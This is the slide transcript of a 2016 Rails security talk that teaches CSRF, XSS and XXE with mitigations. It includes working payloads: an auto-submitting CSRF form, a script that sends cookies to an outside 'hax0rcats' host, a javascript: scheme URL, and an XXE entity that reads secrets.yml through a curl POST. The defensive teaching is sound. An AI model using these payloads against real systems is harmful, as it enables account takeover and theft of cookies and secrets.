Security is Broken: Understanding Common Vulnerabilties

Security is Broken: Understanding Common Vulnerabilties

Brighton Ruby 2016

C44e1f7e22c3f23cff7bc130871047ef?s=128

Eileen M. Uchitelle

July 08, 2016
Tweet

Transcript

  1. SECURITY IS BROKEN Understanding Common Vulnerabilities

  2. None
  3. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes
  4. OPEN SOURCE Rails Committers Rails Security

  5. None
  6. None
  7. How is security broken?

  8. • Impossible to test for all possible vulnerabilities How is

    security broken?
  9. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?
  10. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?
  11. How did we get here?

  12. • Failed to enforce web standards How did we get

    here?
  13. vs.

  14. None
  15. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?
  16. “...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software.” – Michal Zalewski, The Tangled Web
  17. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  18. None
  19. CSRF

  20. CSRF Cross-Site Request Forgery

  21. EXPLOITING CSRF

  22. JESSIE The Hacker ARYA The User

  23. None
  24. None
  25. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com“ name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  26. None
  27. Looks the same, different URL

  28. <body onload=“document.forms[0].submit()"> <form action="http://dogbook/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value=“jessie@hacker.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>
  29. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value=“jessie@hacker.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Jessie’s email
  30. <body onload=“document.forms[0].submit()"> <form action="http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form
  31. <body onload=“document.forms[0].submit()"> <form action=“http://dogbook.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Arya"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value=“arya@aryadog.com” name="user[email]" /> <label for="user_website">Website</label> <input type="text" value=“aryadog.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site
  32. Jessie’s email

  33. How dangerous are CSRF attacks?

  34. How can we protect
 our users from
 CSRF attacks?

  35. • Use built-in framework CSRF protection How to mitigate CSRF?

  36. None
  37. class ApplicationController < ActionController::Base protect_from_forgery with: :exception end

  38. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection
  39. Caveat: CSRF protection in Rails is order-dependent

  40. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end
  41. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end Conditional authentication
  42. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end
  43. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ApplicationController skip_before_action :authenticate before_action :authenticate_for_chat, only: :create end Skip auth callback
  44. >> ChatsController._process_action_callbacks.map(&:filter) =>[ :authenticate, :verify_authenticity_token, :authenticate_for_chat ] Authentication callback is

    too late in the chain
  45. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class ChatsController < ActionController::Base skip_before_action :authenticate before_action :authenticate_for_chat, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end
  46. >> ChatsController._process_action_callbacks.map(&:filter) =>[ :authenticate, :authenticate_for_chat, :verify_authenticity_token ] Corrected callback order

  47. None
  48. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens How to mitigate CSRF?
  49. class SessionsController < ApplicationController def destroy sign_out reset_session redirect_to sign_in_url

    end end Refreshes Authenticity Token
  50. • Use built-in framework CSRF protection • Refresh tokens with

    the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?
  51. XSS

  52. XSS Cross-Site Scripting

  53. EXPLOITING STORED XSS

  54. None
  55. <script> document.write( '<img src=“http://www.hax0rcats.com/' + document.cookie + '">' ); </script>

    automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  56. None
  57. Escaped HTML

  58. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  59. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> automatic protection. Let’s say for some reason you wanted to allow the user to dress up their name by adding html tags. To
  60. None
  61. JavaScript Scheme

  62. None
  63. javascript://example.com/%0Aalert(1)

  64. example.com/%0Aalert(1) JavaScript Scheme javascript://

  65. javascript://example.com/%0Aalert(1) URL example.com

  66. Percent encoded “line feed” javascript://example.com/%0Aalert(1) %0A

  67. JavaScript Alert javascript://example.com/%0Aalert(1) alert(1)

  68. How dangerous are XSS attacks?

  69. How can we protect
 our users from
 XSS attacks?

  70. • Always escape user-provided data How to mitigate XSS?

  71. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  72. None
  73. • Don’t HTML escape user-provided data • Sanitize user-provided data

    How to mitigate XSS?
  74. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes
  75. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?
  76. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  77. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  78. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  79. XXE

  80. XXE XML eXternal Entity Attack

  81. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  82. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_3-4.xml”>

    ]> <list> <todo>Take a nap</todo> <todo>Go on a long walk with my hooman</todo> &ext1; <todo>Take another nap</todo> <todo>Go to bed</todo> </list> Entity reference
  83. <!-- list_items_3-4.xml --> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo>

  84. <!-- after parsing --> <list> <todo>Take a nap</todo> <todo>Go on

    a long walk with my hooman</todo> <todo>Eat breakfast</todo> <todo>Bark at the mail carrier</todo> <todo>Take another nap</todo> <todo>Go to bed</todo> </list>
  85. EXPLOITING XXE

  86. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end
  87. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML
  88. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user>
  89. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Requested file
  90. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Entity reference
  91. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml POST

    request to users create
  92. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml Payload

  93. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://dogbook.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> secrets.yml as user’s name
  94. None
  95. How dangerous are XXE attacks?

  96. None
  97. How can we protect
 our servers from
 XXE attacks?

  98. • Don’t parse XML How to mitigate XXE?

  99. Don’t parse XML

  100. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?
  101. >> LibXML::XML.default_substitute_entities >> true

  102. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?
  103. Investigate vulnerabilities & patches SECURITY

  104. GitHub
 eileencodes/security_examples

  105. owasp.org

  106. None
  107. Brakeman

  108. Resilience & empowerment SECURITY

  109. None
  110. Awareness of vulnerabilities SECURITY

  111. JESSIE The Hacker ARYA The User

  112. None
  113. To the future

  114. EILEEN M. UCHITELLE Security, Infrastructure & Performance Team at Basecamp

    ! eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes